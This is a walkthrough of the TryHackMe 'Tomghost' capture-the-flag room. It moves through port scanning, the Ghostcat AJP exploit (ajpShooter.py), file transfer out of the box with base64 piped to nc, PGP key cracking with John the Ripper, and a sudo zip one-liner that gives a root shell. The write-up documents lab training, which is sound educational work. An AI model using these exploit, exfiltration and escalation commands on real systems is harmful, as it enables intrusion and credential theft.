7 minute read

Machine Information


Tomghost is a beginner level room based around a vulnerable Apache installation. Skills required are basic knowledge of Linux and enumerating ports and services. Skills learned are identifying and using publicly available exploits, password brute-forcing with John The Ripper and abusing privileges using Zip.

Hosting Site TryHackMe
Link To Machine THM - Easy - Tomghost
Machine Release Date 27th March 2020
Date I Completed It 29th May 2020
Distribution used Kali 2020.1 – Release Info

Initial Recon

As always, start with Nmap:

root@kali:~/thm/tomghost# ports=$(nmap -p- --min-rate=1000 -T4 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
root@kali:~/thm/tomghost# nmap -p$ports -v -sC -sV -oA tomghost

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-30 22:39 BST
Initiating Ping Scan at 22:39
Scanning [4 ports]
Completed Ping Scan at 22:39, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:39
Completed Parallel DNS resolution of 1 host. at 22:39, 0.02s elapsed
Initiating SYN Stealth Scan at 22:39
Scanning [4 ports]
Discovered open port 22/tcp on
Discovered open port 8080/tcp on
Discovered open port 8009/tcp on
Discovered open port 53/tcp on
Completed SYN Stealth Scan at 22:39, 0.07s elapsed (4 total ports)
Initiating Service scan at 22:39
Scanning 4 services on
Completed Service scan at 22:39, 6.34s elapsed (4 services on 1 host)
Nmap scan report for
Host is up (0.035s latency).
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
|   256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_  256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http       Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache Tomcat/9.0.30
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.65 seconds
           Raw packets sent: 8 (328B) | Rcvd: 5 (204B)

We see Apache running on port 8080, got check that out first:


It’s just a default installation page for Apache, doesn’t look like anything here.

Next look at the other Apache port, using the hints for the room a Google of “ghostcat exploit github” gives us the first hit that looks interesting:


Gaining Access

Following the link here, we find the exploit can read the web.xml file without credentials, let’s try it:

root@kali:~/thm/tomghost# wget https://raw.githubusercontent.com/00theway/Ghostcat-CNVD-2020-10487/master/ajpShooter.py
--2020-05-30 22:43:24--  https://raw.githubusercontent.com/00theway/Ghostcat-CNVD-2020-10487/master/ajpShooter.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)||:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13628 (13K) [text/plain]
Saving to: ‘ajpShooter.py’
ajpShooter.py                                              100%[=======================================================================================================================================>]  13.31K  --.-KB/s    in 0.01s
2020-05-30 22:43:24 (1.01 MB/s) - ‘ajpShooter.py’ saved [13628/13628]

Run the exploit against the webserver:

root@kali:~/thm/tomghost# python3 ajpShooter.py 8009 /WEB-INF/web.xml read

       _    _         __ _                 _
      /_\  (_)_ __   / _\ |__   ___   ___ | |_ ___ _ __
     //_\\ | | '_ \  \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
    /  _  \| | |_) | _\ \ | | | (_) | (_) | ||  __/ |
    \_/ \_// | .__/  \__/_| |_|\___/ \___/ \__\___|_|
                                                00theway,just for test
[<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"1261-1583902632000"
[<] Last-Modified: Wed, 11 Mar 2020 04:57:12 GMT
[<] Content-Type: application/xml
[<] Content-Length: 1261
<?xml version="1.0" encoding="UTF-8"?>
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at
  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  See the License for the specific language governing permissions and
  limitations under the License.
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  <display-name>Welcome to Tomcat</display-name>
     Welcome to GhostCat

A username and password is revealed, let’s try this with ssh on port 22:

root@kali:~/thm/tomghost# ssh skyfuck@
skyfuck@'s password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-174-generic x86_64)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Sat May 30 14:46:56 2020 from

We’re in, have a look for loot:

skyfuck@ubuntu:~$ ls -l
total 12
-rw-rw-r-- 1 skyfuck skyfuck  394 Mar 10 22:09 credential.pgp
-rw-rw-r-- 1 skyfuck skyfuck 5144 Mar 10 22:10 tryhackme.asc
skyfuck@ubuntu:~$ file *
credential.pgp: data
tryhackme.asc:  ASCII text, with CRLF line terminators

Two files, ones a data file, the other text based, let’s look at it:

skyfuck@ubuntu:~$ cat tryhackme.asc
Version: BCPG v1.63

Let’s get both files on to our Kali box so we can have a proper look at them:

skyfuck@ubuntu:~$ base64 credential.pgp | nc 1234
skyfuck@ubuntu:~$ base64 tryhackme.asc | nc 1234

Have nc waiting on Kali to receive the files, then decode them from b64:

root@kali:~# nc -nvlp 1234 > credential.pgp.b64
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 39502
root@kali:~# nc -nvlp 1234 > tryhackme.asc.b64
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 39504
root@kali:~/thm/tomghost# base64 -d credential.pgp.b64 > credential.pgp
root@kali:~/thm/tomghost# base64 -d tryhackme.asc.b64 > tryhackme.asc

User Flag

Looking at the two files we can assume the PGP key in the asc file is used to open the PGP file. So first we need to try and crack the asc file. Convert it to a hash that John The Ripper can try to crack:

root@kali:~/thm/tomghost# gpg2john tryhackme.asc > tryhackme.asc.john

Now we’ve converted it we can use our rockyou wordlist on it:

root@kali:~/thm/tomghost# john --wordlist=/usr/share/wordlists/rockyou.txt tryhackme.asc.john
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<<HIDDEN>>        (tryhackme)
1g 0:00:00:00 DONE (2020-05-30 23:16) 10.00g/s 10720p/s 10720c/s 10720C/s chinita..alexandru
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Password is found in only a few seconds. Now we need to import the key in the asc file, when prompted we use the password we’ve just found:

root@kali:~/thm/tomghost# gpg --import tryhackme.asc
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key 8F3DA3DEC6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
gpg: key 8F3DA3DEC6707170: secret key imported
gpg: key 8F3DA3DEC6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: Total number processed: 2
gpg:               imported: 1
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

Now we have the key imported we can use it to decrypt the pgp file:

root@kali:~/thm/tomghost# gpg --decrypt credential.pgp
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 1024-bit ELG key, ID 61E104A66184FBCC, created 2020-03-11
      "tryhackme <stuxnet@tryhackme.com>"

Another username and password is revealed. Now we can try that with ssh:

root@kali:~/thm/tomghost# ssh merlin@
merlin@'s password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-174-generic x86_64)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Tue Mar 10 22:56:49 2020 from
merlin@ubuntu:~$ id
uid=1000(merlin) gid=1000(merlin) groups=1000(merlin),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)

We are in as this new user Merlin. Grab the user flag while we’re here:

merlin@ubuntu:~$ ls
merlin@ubuntu:~$ cat user.txt

Privilege Escalation

Now we need to find a way to escalate our privileges, first thing to check is what the user can sudo as:

merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

So Merlin can run zip as root without needing a password. There are known exploits for getting to a root shell from zip. A quick Google easily finds an example to use here:

Root Flag

merlin@ubuntu:~$ TF=$(mktemp -u)
merlin@ubuntu:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 31%)
# id
uid=0(root) gid=0(root) groups=0(root)

Now we have a root shell so just need to grab the flag:

# cd /root
# ls
root.txt  ufw
# cat root.txt  

All done. See you next time.